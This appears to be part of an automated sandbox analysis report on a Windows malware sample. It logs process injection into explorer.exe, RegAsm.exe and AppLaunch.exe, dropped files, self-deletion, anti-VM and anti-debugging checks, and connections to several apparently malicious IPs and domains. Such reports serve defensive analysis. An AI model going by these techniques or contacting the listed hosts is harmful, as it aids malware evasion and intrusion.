Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_025CD62D push esi; iretd	15_2_025CD62C
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_025CD4D6 push esi; iretd	15_2_025CD62C
Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_025CD5BD push esi; iretd	15_2_025CD62C
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_6F10D565 push ecx; ret	21_2_6F10D578
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_6F10CC2B push ecx; ret	21_2_6F10CC3E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00401A78 push eax; mov dword ptr [esp], 00000000h	22_2_00401A7D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00466BCD push esi; ret	22_2_00466BD6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00456EE8 push ecx; ret	22_2_00456EFB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00465766 push 00000000h; ret	22_2_00465768

Source: C:\Users\user\AppData\Local\Temp\6E11.exe

Code function: 21_2_6F0BB6C0 GetModuleHandleW,GetModuleHandleW,LoadLibraryW,GetProcAddress,__cftoe,GetModuleHandleW,GetProcAddress,

21_2_6F0BB6C0

Source: 6E11.exe.1.dr

Static PE information: 0xCFACD4F3 [Wed May 29 12:13:39 2080 UTC]

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\aueuggs

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\aueuggs	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\EDBC.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6E11.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	File created: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\file.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\aueuggs:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: 6E11.exe PID: 5172, type: MEMORYSTR

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	System information queried: FirmwareTableInformation			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: file.exe, 00000000.00000002.900705286.00000000023CA000.00000004.00000020.00020000.00000000.sdmp, aueuggs

Binary or memory string: ASWHOOK

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aueuggs	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aueuggs	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aueuggs	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aueuggs	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aueuggs	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aueuggs	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Source: C:\Windows\explorer.exe TID: 7628	Thread sleep count: 395 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7636	Thread sleep count: 1318 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7636	Thread sleep time: -131800s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7632	Thread sleep count: 971 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7632	Thread sleep time: -97100s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3344	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7860	Thread sleep count: 310 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7868	Thread sleep count: 369 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7868	Thread sleep time: -36900s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7876	Thread sleep count: 344 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7876	Thread sleep time: -34400s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7636	Thread sleep count: 3065 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7636	Thread sleep time: -306500s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe TID: 5536	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6584	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe TID: 7720	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6E11.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 395	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1318	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 971	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 369	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 3065	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 866	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 874	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetAdaptersInfo,GetAdaptersInfo,

22_2_00421AC8

Source: C:\Users\user\AppData\Local\Temp\6E11.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6E11.exe	API call chain: ExitProcess graph end node	graph_21-43964
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	API call chain: ExitProcess graph end node	graph_21-42549
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_22-33592

Source: explorer.exe, 00000001.00000000.897166036.0000000009DFB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: RegAsm.exe, 00000016.00000002.1121991366.000000000149A000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149273611.0000000005398000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: explorer.exe, 00000001.00000000.897027571.0000000006929000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}(
Source: explorer.exe, 00000001.00000000.898063450.000000000EA20000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000001.00000000.897166036.0000000009D5D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000001.00000000.896996023.00000000067AB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000001.00000000.897166036.0000000009D5D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: AASCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000001.00000000.897166036.0000000009EB7000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}[\yf
Source: explorer.exe, 00000001.00000000.897166036.0000000009EB7000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}a
Source: explorer.exe, 00000001.00000000.898063450.000000000EA20000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}`?Le
Source: RegAsm.exe, 00000016.00000002.1121991366.0000000001516000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000019.00000002.1149273611.0000000005418000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000001.00000000.898063450.000000000EA20000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}&
Source: explorer.exe, 00000001.00000000.897166036.0000000009D5D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00Rom0
Source: explorer.exe, 00000001.00000000.897166036.0000000009D5D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000001.00000000.896996023.00000000067A0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000z

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00456688 FindFirstFileExW,		22_2_00456688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0045673C FindFirstFileExW,FindNextFileW,FindClose,FindClose,		22_2_0045673C

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\file.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\aueuggs	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6E11.exe

Code function: 21_2_6F0BB6C0 GetModuleHandleW,GetModuleHandleW,LoadLibraryW,GetProcAddress,__cftoe,GetModuleHandleW,GetProcAddress,

21_2_6F0BB6C0

Source: C:\Users\user\AppData\Roaming\aueuggs	Code function: 15_2_025CB174 push dword ptr fs:[00000030h]	15_2_025CB174
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00454295 mov eax, dword ptr fs:[00000030h]	22_2_00454295
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0043D47B mov eax, dword ptr fs:[00000030h]	22_2_0043D47B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0044861A mov ecx, dword ptr fs:[00000030h]	22_2_0044861A

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\aueuggs	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6E11.exe

Code function: 21_2_6F10948B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

21_2_6F10948B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 22_2_0042FB78 GetProcessHeap,GetProcessHeap,HeapAlloc,GetDIBits,ReleaseDC,HeapFree,GetObjectW,GetProcessHeap,GetProcessHeap,HeapAlloc,GetDC,GetProcessHeap,HeapAlloc,GetProcessHeap,RtlFreeHeap,GetProcessHeap,

22_2_0042FB78

Source: C:\Users\user\AppData\Local\Temp\6E11.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_6F10948B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	21_2_6F10948B
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Code function: 21_2_6F10B144 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_6F10B144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0043E949 SetUnhandledExceptionFilter,	22_2_0043E949
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0043E955 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_0043E955
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_00452ABB IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_00452ABB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 22_2_0043EE60 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	22_2_0043EE60

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 200.92.136.254 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: gudintas.at
Source: C:\Windows\explorer.exe	Network Connect: 211.181.24.133 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: h170811.srv22.test-hf.su
Source: C:\Windows\explorer.exe	Network Connect: 193.149.185.139 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 186.182.55.44 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 180.94.156.61 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.227.16.22 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 186.147.159.19 80	Jump to behavior

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: EDBC.exe.1.dr

Jump to dropped file

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aueuggs	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aueuggs	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDBC.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 protect: page execute and read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDBC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 value starts with: 4D5A			Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\file.exe	Thread created: C:\Windows\explorer.exe EIP: 4FF19B0			Jump to behavior
Source: C:\Users\user\AppData\Roaming\aueuggs	Thread created: unknown EIP: 50219B0			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 463000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 46F000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 472000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1089008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDBC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDBC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDBC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 465000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDBC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 471000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDBC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 474000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDBC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 4E55008	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6E11.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDBC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe			Jump to behavior

Source: explorer.exe, 00000001.00000000.896527065.0000000001370000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
